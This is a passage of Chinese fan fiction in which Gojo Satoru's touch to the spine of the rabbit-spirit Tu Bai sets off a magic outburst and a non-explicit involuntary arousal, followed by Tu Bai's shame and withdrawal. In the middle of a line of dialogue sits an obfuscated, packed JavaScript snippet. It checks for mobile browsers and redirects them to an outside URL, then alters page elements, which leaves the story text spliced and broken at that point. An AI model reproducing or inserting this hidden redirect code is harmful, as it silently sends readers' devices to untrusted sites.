两人对视,都笑了。餐厅柔和的灯光下,五条悟的冰蓝色眼睛显得很温柔,涂白的红眼睛也亮晶晶的。 气氛忽然变得有点暧昧。 五条悟看着涂白,涂白看着五条悟。谁都没说话,但谁都没移开视线。 服务生过来上甜品,打断了这个对视。 涂白低头吃甜品,心跳有点快。他偷偷看五条悟,五条悟也在看他,嘴角带着笑。 “你喝醉的样子挺可爱的。”五条悟说。 “……我没醉。” “耳朵都红了还说没醉。” 涂白摸耳朵,确实很烫。他不说话了,专心吃甜品。 吃完饭,两人离开餐厅。涂白酒劲上来了,走路有点晃。五条悟扶着他,打了辆车。 车上,涂白靠着车窗,迷迷糊糊地说:“今天很开心……谢谢前辈。” 五条悟侧头看他。涂白的脸还红着,眼睛半闭,长长的睫毛垂下来,看起来很乖。 五条悟心里某个地方软了一下。 “以后常带你吃好吃的。”他说,声音很轻。 “……嗯。” 车开到公寓楼下。涂白下车时脚软,五条悟赶紧扶住他。 “能走吗?”五条悟问。 “能……”涂白说,但整个人都靠在五条悟身上。 五条悟搂着他的腰,半抱半扶地把他带到楼下。夜晚的风吹过来,涂白缩了缩脖子。 “冷?”五条悟问。 “……有点。” 五条悟把他搂紧了些。两人站在楼道口,灯光从头顶照下来,在地上投出交叠的影子。 “上去吧。”五条悟说,“洗个热水澡,好好睡一觉。” 涂白点头,但没动。他抬头看五条悟,眼神有点迷蒙:“前辈……” “嗯?” “你……为什么对我这么好?” 五条悟愣了下,然后笑:“因为我乐意啊。” “就这样?” “就这样。”五条悟揉他头发,动作很温柔,“所以别想太多,乖乖接受就行。” 他的手从头发滑下来,轻轻抚过涂白的后颈。 然后,指腹无意间擦过了脊线顶端——那是兔妖本体最敏感的能量汇集带。 涂白浑身一颤。 像是触电一样的感觉,从脊椎窜上来,瞬间传遍全身。他整个人都僵住了,呼吸停了一拍。 五条悟感觉到了他的颤抖,手停住:“怎么了?” “……没。”涂白声音有点抖,“就是……有点冷。” 五条悟看了看他,没再追问。他收回手,拍拍涂白的背:“快上去吧。” “……嗯。” 涂白转身,刷卡进楼。电梯门关上之前,他看见五条悟还站在外面,双手插在口袋里,正看着他。 电梯上升。涂白靠在墙上,手摸着自己的后颈。 那里还残留着五条悟手指的温度。 还有刚才那一瞬间,那种过电般的感觉。 他闭上眼睛。 好像……真的有点不对劲了,他想。 19.第19章:敏感区 第二天早上涂白是被头痛弄醒的。 太阳穴一跳一跳地疼,嘴里发干,脑子里像塞了团棉花。他躺在床上,盯着天花板看了好一会儿,昨晚的记忆才一点点拼回来。 烛光晚餐。桃子酒。胡萝卜田的傻话。 还有……楼道口,五条悟的手,擦过他后颈的那一下。 涂白猛地坐起来,耳朵瞬间烧红了。 “我在干嘛……”他捂住脸,想起自己昨晚问“你为什么对我这么好”,还差点站不稳靠在五条悟身上。太丢人了。 手机在床头震了一下。涂白抓过来看,是五条悟发来的消息。 【醒了吗?头痛的话我有药。】 消息显示早上八点发的,现在十点半。涂白盯着屏幕看了几秒,脑子里闪过昨晚五条悟扶他时手臂的温度,还有那句“因为我乐意”。 他手指在键盘上悬着,最后还是打了两个字: 【没事。】 回得有点冷淡。但他现在确实不知道该怎么面对五条悟。 五条悟秒回:【真的?昨晚你喝了不少。】 涂白:【真的。】 五条悟:【那下午我去找你?今天没任务。】 涂白皱眉:【不用,我要复习,下周有考试。】 五条悟:【我陪你复习啊~反正我也没事干。】 涂白想拒绝,但五条悟又发来一条:【而且你昨天落了个文件在我这儿,那个咒具设计图,你不看了?】 ……确实。涂白想起来,昨晚回来的时候迷迷糊糊,文件夹好像忘在车上了。 他叹了口气:【几点?】 五条悟:【两点?顺便给你带醒酒汤,我家的秘方,超有效~】 涂白盯着“我家的秘方”这几个字,愣了下。五条悟很少提家里的事。他回:【哦。】 --- 下午两点,门铃准时响了。 涂白去开门。五条悟站在外面,还是那身休闲打扮,白色连帽卫衣,黑色长裤,墨镜架在鼻梁上。手里拎着个保温壶和纸袋。 “哟。”五条悟笑着进来,“头还疼吗?” “好多了。”涂白关上门。 五条悟把保温壶放在桌上:“醒酒汤,趁热喝。”又从纸袋里掏出文件夹,“你的文件。” 涂白接过:“谢谢。” “客气什么~”五条悟很自然地走到沙发边坐下,往后一靠,“你不是要复习吗?复习吧,我在这儿看着。” 涂白看了他一眼:“……你不用回去吗?” “不用啊,今天很闲。”五条悟掏出手机,“你复习你的,我玩我的。互不打扰~” 话是这么说,但涂白总觉得不太自在。他拿着书走到书桌前坐下,翻开笔记,但注意力集中不起来。 房间里很安静,只有翻书的声音和五条悟偶尔按手机的声音。阳光从窗户照进来,落在书桌上,暖洋洋的。 涂白强迫自己看进去。下周的考试很重要,是关于日本古典文学的,他背了好几天的《源氏物语》选段,现在脑子里一片空白。 “《源氏物语》啊。”五条悟的声音突然在身后响起。 涂白吓了一跳,转头。五条悟不知道什么时候走过来了,正站在他椅子后面,俯身看他摊开的书。 “你吓到我了。”涂白说。 “抱歉~”五条悟笑,手很自然地搭在椅背上,“我也读过一点,紫式部写得确实不错,就是人物关系太乱了。” “你也读过?” “好歹是最强。”五条悟说,“自然是各方面都是咯。” 涂白有点意外。他没想到五条悟会认真读书——他一直以为五条悟是那种靠天赋碾压一切的家伙。 “你……喜欢看书?”涂白问。 “偶尔。”五条悟说,“任务间隙会看看。小说、历史、哲学什么的都看点。” 他说这话的时候,手从椅背上滑下来,很自然地放在了涂白肩上。 涂白身体僵了一下。 五条悟感觉到了,但没拿开手,反而轻轻捏了捏他的肩膀:“你这里很紧,复习压力大?” “……有点。” “放松点。”五条悟说,“你那么聪明,肯定能考好。” 他的手在涂白肩上按了按,力道适中,确实有点放松的效果。但涂白的注意力完全不在复习上了。 他感觉五条悟的手很热,透过衣服布料传过来。还有五条悟说话时呼出的气息,喷在他耳侧,有点痒。 “前辈……”涂白小声说,“你这样我没办法复习。” “哦?那要怎么样?”五条悟的声音里带着笑意。 “就……别碰我。” 五条悟顿了顿,然后手拿开了。但没走开,还是站在涂白身后。 安静了几秒。 涂白重新看向书,但一个字都看不进去。他感觉五条悟的视线落在他背上,像有实质的重量。 然后,五条悟开口了。 “小白。” “嗯?” “你脊背很敏感?” 涂白手一抖,笔掉在桌上。 他慢慢转过头,看向五条悟。五条悟也正看着他,墨镜滑下一点,冰蓝色的眼睛从镜片上方露出来,眼神里带着探究。 “为什么……这么问?”涂白听见自己的声音有点干。 “昨晚。”五条悟说,“在楼下,我碰到你后颈的时候,你抖了一下。” 他伸出手,很自然地放在涂白后颈上,就像昨晚那样。 “这里?”五条悟问,手指轻轻按了按。 涂白整个人都僵住了。 后颈是兔妖的敏感区之一,但还不是最敏感的。最敏感的是整条脊线——从后颈到尾椎,是妖力循环的核心通路。 “我……”涂白想说话,但喉咙发紧。 五条悟的手没拿开,反而顺着他的脊柱线条,缓缓往下抚摸。 动作很轻,很慢。 掌心完整贴合脊线,从颈椎一路滑到尾椎。 涂白脑子里“嗡”的一声。 像是有什么开关被打开了。 妖力——完全不受控制地炸开。 银色光屑从他身上爆发出来,像烟花一样炸满整个房间。书桌、椅子、地板、天花板——所有东西表面都开始闪烁银光,构筑物失控地闪现又消失。 一把椅子变成了胡萝卜形状。 书桌上的笔筒变成了兔子耳朵。 窗户上结出了银色的藤蔓花纹。 更糟的是—— 涂白感觉到…… 他腿一软,差点从椅子上滑下去。 时间仿佛凝固了。 涂白低头,看着自己裤子上…… 他脸色由红转白,再由白转红。 五条悟也愣住了。他的手还停在涂白背上,动作僵在那里。他低头,看到了涂白裤子上的……,又抬头,看向涂白的脸。 涂白的表情——羞耻、震惊、茫然,混杂在一起。 五条悟张了张嘴,想说点什么,但没发出声音。 涂白猛地站起来,动作快得带倒了椅子。他一把推开五条悟,力气大得惊人,五条悟被推得踉跄了一步。 “小——” 涂白没让他说完,转身冲进浴室,“砰”地关上门,反锁。 五条悟站在客厅里,看着关上的浴室门,又低头看了看自己的手。 掌心还残留着涂白脊背的温度和触感。 还有刚才那一瞬间,涂白身上爆发的妖力——强烈,混乱,带着某种……五条悟说不清的感觉。 他走到浴室门口,抬手想敲门,但手停在半空。 里面传来水声。 还有压抑的、细微的抽泣声。 五条悟的手慢慢放下来。 他站了一会儿,然后走到沙发边坐下,双手撑在膝盖上,低着头。 墨镜滑下来,挂在鼻尖。冰蓝色的眼睛里一片茫然。 他刚才……做了什么? 不就是碰了一下脊背吗? 为什么涂白反应那么大? 还有那个反应…… 五条悟皱眉。他不是不知道那是什么。他只是没想到会这么……强烈。 而且是在这种时候。 浴室里的水声停了。安静了几分钟,门开了。 涂白走出来。 他换了身衣服——灰色的运动裤和黑色T恤,头发湿漉漉的,还在滴水。脸上没什么表情,眼睛有点红,但没哭过的痕迹。 他看都没看五条悟,径直走到门口,拉开门。 “请离开。”涂白说,声音很冷。 五条悟站起来:“小白,我——” “出去。”涂白打断他,声音在发抖。 五条悟看着他。涂白的脸苍白,嘴唇紧抿,手指抓着门框,指节发白。 “我不是故意——”五条悟想解释。 “我不想听。”涂白说,“请你现在离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123762|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开。” 五条悟沉默了几秒,然后点头。 他走到门口,在涂白身边停了一下,想说什么,但最后还是什么都没说,走了出去。 门在身后关上。 五条悟站在楼道里,听着门内反锁的声音。 他站了一会儿,然后转身下楼。 走到楼下,他抬头看了看涂白公寓的窗户。窗帘拉着,什么都看不见。 五条悟掏出手机,想发条消息,但手指停在屏幕上,半天没动。 最后他收起手机,双手插进口袋,走了。 --- 门内,涂白背靠着门板,慢慢滑坐在地上。 他把脸埋进膝盖里,肩膀开始发抖。 羞耻。 愤怒。 自我厌恶。 各种情绪混在一起,像潮水一样把他淹没。 他怎么可以……怎么可以那样? 在五条悟面前,因为一个触碰,就…… 涂白咬住嘴唇,咬得很用力,几乎尝到血腥味。 他想起刚才五条悟的表情——震惊,茫然,还有一丝……困惑? 五条悟肯定觉得他很奇怪吧。 不,不止奇怪。是恶心。 一个男的,因为被碰了下脊背,就…… 涂白把脸埋得更深,手指插进头发里,用力揪着。 浴室里,他刚才换下来的裤子还扔在地上。那块……刺眼得要命。 他站起来,冲进浴室,抓起裤子塞进垃圾桶,又觉得不够,把整个垃圾桶的袋子都拎出来,打了个死结,扔到门口。 然后他回到客厅,看着满屋子的银色残迹。 胡萝卜椅子。兔子耳朵笔筒。藤蔓花纹。 都是他妖力失控的证据。 涂白闭上眼睛,深吸一口气,然后抬手。银色妖力涌出,一点点把那些构筑物抹去,把房间恢复原样。 做完这些,他又瘫坐在地上。 手机在书桌上震了一下。 涂白没动。 又震了一下。 他还是没动。 手机震了第三下,然后停了。 涂白不知道是谁,可能是五条悟,也可能是别的人,但他现在不想看,不想回,不想面对。 他只想一个人待着。 窗外的阳光慢慢西斜,房间里的光线暗下来。涂白坐在地上,背靠着沙发,盯着地板上的某个点,看了很久。 脑子里反复回放刚才的场景。 五条悟的手。 脊背的触感。 妖力炸开。 还有…… 涂白闭上眼睛。 他想起昨晚在餐厅,五条悟说“你喝醉的样子挺可爱的”。 想起在京都,五条悟说“我家兔子可爱吧”。 想起更早之前,五条悟说“我会照顾好你弟弟”。 为什么? 涂白睁开眼睛,看着天花板。 为什么五条悟要对他这么好? 为什么他要对五条悟的反应这么大? 为什么……心会这么乱? 手机又震了一下。这次不是消息,是电话。 涂白看了一眼屏幕——是涂宝。 他犹豫了一下,还是接了。 “喂,哥。” “二宝!”涂宝的声音带着哭腔,“你怎么不接电话?我打了三个!我以为你出事了!” “……我没事。”涂白说,“刚才在洗澡。” “真的?” “真的。” 涂宝松了口气,但马上又问:“你声音怎么了?听起来不对劲。” “有点感冒。”涂白撒谎,“昨天着凉了。” “那你要多喝热水!吃药了吗?要不要我过去照顾你?” “不用。”涂白说,“我睡一觉就好。” “真的?” “真的。” 涂宝又叮嘱了几句,才挂了电话。 涂白放下手机,靠在沙发上。 窗外,天完全黑了。 他站起来,走到窗边,拉开一条缝往下看。 楼下空荡荡的,没有人。 五条悟没在。 涂白说不清自己是松了口气,还是……有点失望。 他拉上窗帘,回到卧室,倒在床上。 闭上眼睛,脑子里还是五条悟的脸。 还有那句话。 “你脊背很敏感?”